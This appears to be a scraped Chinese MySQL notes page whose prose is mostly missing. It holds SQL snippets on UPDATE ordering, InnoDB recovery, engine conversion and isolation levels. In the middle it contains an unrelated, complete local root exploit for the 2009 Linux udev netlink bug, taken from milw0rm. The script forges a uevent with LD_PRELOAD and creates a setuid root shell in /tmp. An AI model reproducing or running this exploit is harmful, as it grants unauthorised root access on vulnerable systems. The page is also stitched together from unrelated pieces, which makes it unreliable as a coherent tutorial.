– 准备工作
CREATE TABLE `t_ivan_innodb` (
  `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  `f_c` varchar(64) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT charset=latin1;

CREATE TABLE `t_ivan_myisam` (
  `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  `f_c` varchar(64) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=Myisam DEFAULT charset=latin1;

INSERT INTO t_ivan_innodb(f_c) VALUES(”);
INSERT INTO t_ivan_innodb(f_c) VALUES(”);
INSERT INTO t_ivan_innodb(f_c) VALUES(”);
DELETE FROM t_ivan_innodb WHERE id=1;

INSERT INTO t_ivan_myisam(f_c) VALUES(”);
INSERT INTO t_ivan_myisam(f_c) VALUES(”);
INSERT INTO t_ivan_myisam(f_c) VALUES(”);
DELETE FROM t_ivan_myisam WHERE id=1;

– ——————————————-

root:ivan> UPDATE t_ivan_innodb SET id=id-1 WHERE id>1;
Query OK, 2 rows affected (0.00 sec)
Rows matched: 2  Changed: 2  Warnings: 0

root:ivan> UPDATE t_ivan_myisam SET id=id-1 WHERE id>1;
Query OK, 2 rows affected (0.00 sec)
Rows matched: 2  Changed: 2  Warnings: 0

– 可见默认在物理记录数序没有打乱的时候，默认是asc的，更新都正常
– ——————————————–

DROP TABLE t_ivan_innodb;
DROP TABLE t_ivan_myisam;
– 重新创建和插入记录

root:ivan> UPDATE t_ivan_innodb SET id=id-1 WHERE id>1 ORDER BY id DESC;
ERROR 1062 (23000): Duplicate entry ’2′ FOR KEY ‘PRIMARY’

root:ivan> UPDATE t_ivan_myisam SET id=id-1 WHERE id>1 ORDER BY id DESC;
ERROR 1062 (23000): Duplicate entry ’2′ FOR KEY ‘PRIMARY’

– desc排序的时候肯定错误
– ———————————————

– 下面插入数据故意打乱

INSERT INTO t_ivan_innodb(id) VALUES(2);
INSERT INTO t_ivan_innodb(id) VALUES(3);
INSERT INTO t_ivan_innodb(id) VALUES(4);
INSERT INTO t_ivan_innodb(id) VALUES(7);
INSERT INTO t_ivan_innodb(id) VALUES(6);
INSERT INTO t_ivan_innodb(id) VALUES(5);

INSERT INTO t_ivan_myisam(id) VALUES(2);
INSERT INTO t_ivan_myisam(id) VALUES(3);
INSERT INTO t_ivan_myisam(id) VALUES(4);
INSERT INTO t_ivan_myisam(id) VALUES(7);
INSERT INTO t_ivan_myisam(id) VALUES(6);
INSERT INTO t_ivan_myisam(id) VALUES(5);

root:ivan> UPDATE t_ivan_innodb SET id=id-1 WHERE id>1;
Query OK, 6 rows affected (0.00 sec)
Rows matched: 6  Changed: 6  Warnings: 0

root:ivan> UPDATE t_ivan_myisam SET id=id-1 WHERE id>1;
ERROR 1062 (23000): Duplicate entry ’6′ FOR KEY ‘PRIMARY’
 

1：在新的实例中创建相同的表结构
2：修改/etc/my.cnf，在mysqld段加入 innodb_force_recovery=6 #具体选择多少请参考手册
3：关闭mysqld
4：覆盖备份的idb文件
5：启动mysqld
 

USE test
CREATE TABLE ivan(i int NOT NULL) engine=innodb;
SHOW TABLE STATUS LIKE ‘ivan’;
 

root:test> show table status like ‘ivan’\G
*************************** 1. row ***************************
           Name: ivan
         Engine: InnoDB
        Version: 10
     Row_format: Compact
           Rows: 0
 Avg_row_length: 0
    Data_length: 16384
Max_data_length: 0
   Index_length: 0
      Data_free: 514817261568
 Auto_increment: NULL
    Create_time: 2009-04-27 13:32:02
    Update_time: NULL
     Check_time: NULL
      Collation: latin1_swedish_ci
       Checksum: NULL
 Create_options:
        Comment:
1 row in set (0.00 sec)
 

\! rm -f /tmp/ivan_alter.sql #预删除临时文件，方式下面的语句无法写入

SELECT concat(‘alter table `’, TABLE_SCHEMA, ‘`.`’, TABLE_NAME, ‘` engine=innodb;’)
FROM information_schema.TABLES
WHERE ENGINE=‘Myisam’ AND
      TABLE_SCHEMA<>‘mysql’ AND
      TABLE_SCHEMA<>‘information_schema’
INTO OUTFILE ‘/tmp/ivan_alter.sql’ ;

source /tmp/ivan_alter.sql

\! rm -f /tmp/ivan_alter.sql #执行完后删除临时文件
 

#!/bin/sh
# Linux 2.6
# bug found by Sebastian Krahmer
#
# lame sploit using LD technique
# by kcope in 2009
# tested on debian-etch,ubuntu,gentoo
# do a ‘cat /proc/net/netlink’
# and set the first arg to this
# script to the pid of the netlink socket
# (the pid is udevd_pid – 1 most of the time)
# + sploit has to be UNIX formatted text :)
# + if it does not work the 1st time try more often
#
# WARNING: maybe needs some FIXUP to work flawlessly
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang

cat > udev.c << _EOF
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sysexits.h>
#include <wait.h>
#include <signal.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>

#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif

#define SHORT_STRING 64
#define MEDIUM_STRING 128
#define BIG_STRING 256
#define LONG_STRING 1024
#define EXTRALONG_STRING 4096
#define TRUE 1
#define FALSE 0

int socket_fd;
struct sockaddr_nl address;
struct msghdr msg;
struct iovec iovector;
int sz = 64*1024;

main(int argc, char **argv) {
        char sysfspath[SHORT_STRING];
        char subsystem[SHORT_STRING];
        char event[SHORT_STRING];
        char major[SHORT_STRING];
        char minor[SHORT_STRING];

        sprintf(event, "add");
        sprintf(subsystem, "block");
        sprintf(sysfspath, "/dev/foo");
        sprintf(major, "8");
        sprintf(minor, "1");

        memset(&address, 0, sizeof(address));
        address.nl_family = AF_NETLINK;
        address.nl_pid = atoi(argv[1]);
        address.nl_groups = 0;

        msg.msg_name = (void*)&address;
        msg.msg_namelen = sizeof(address);
        msg.msg_iov = &iovector;
        msg.msg_iovlen = 1;

        socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
        bind(socket_fd, (struct sockaddr *) &address, sizeof(address));

        char message[LONG_STRING];
        char *mp;

        mp = message;
        mp += sprintf(mp, "%s@%s", event, sysfspath) +1;
        mp += sprintf(mp, "ACTION=%s", event) +1;
        mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1;
        mp += sprintf(mp, "MAJOR=%s", major) +1;
        mp += sprintf(mp, "MINOR=%s", minor) +1;
        mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1;
        mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;

        iovector.iov_base = (void*)message;
        iovector.iov_len = (int)(mp-message);

        char *buf;
        int buflen;
        buf = (char *) &msg;
        buflen = (int)(mp-message);

        sendmsg(socket_fd, &msg, 0);

        close(socket_fd);

        sleep(10);
        execl("/tmp/suid", "suid", (void*)0);
}

_EOF
gcc udev.c -o /tmp/udev
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init()
{
 setgid(0);
 setuid(0);
 unsetenv("LD_PRELOAD");
 execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
}

_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cat > suid.c << _EOF
int main(void) {
       setgid(0); setuid(0);
       execl("/bin/sh","sh",0); }
_EOF
gcc -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
/tmp/udev $1

# milw0rm.com [2009-04-20]
 

ps -ef | grep udev
sh tmp.sh pid减1
 

READ-UNCOMMITTED, READ-COMMITTED, REPEATABLE-READ, SERIALIZABLE.
 

CREATE TABLE ivan(
  f_id int UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
  f_content varchar(32) NOT NULL DEFAULT ”
) engine=innodb DEFAULT charset=latin1;

INSERT INTO ivan(f_id, f_content) VALUES(1, ‘http://www.mysqlab.net’);
INSERT INTO ivan(f_id, f_content) VALUES(1, ‘http://www.mysqlab.net/blog/’);
INSERT INTO ivan(f_id, f_content) VALUES(1, ‘http://www.mysqlab.net/bbs/’);
 

SET tx_isolation=‘REPEATABLE-READ’;
SET auto_commit=0;
UPDATE ivan SET f_content=” WHERE f_content=‘http://www.mysqlab.net’;
 

SET tx_isolation=‘REPEATABLE-READ’;
UPDATE ivan SET f_content=” WHERE f_content=‘http://www.mysqlab.net/blog/’;
 

SET tx_isolation=‘READ-COMMITTED’;
SET auto_commit=0;
UPDATE ivan SET f_content=” WHERE f_content=‘http://www.mysqlab.net’;
 

SET tx_isolation=‘READ-COMMITTED’;
UPDATE ivan SET f_content=” WHERE f_content=‘http://www.mysqlab.net/bbs/’;
 

transaction_isolation = READ-COMMITTED
innodb_locks_unsafe_for_binlog=On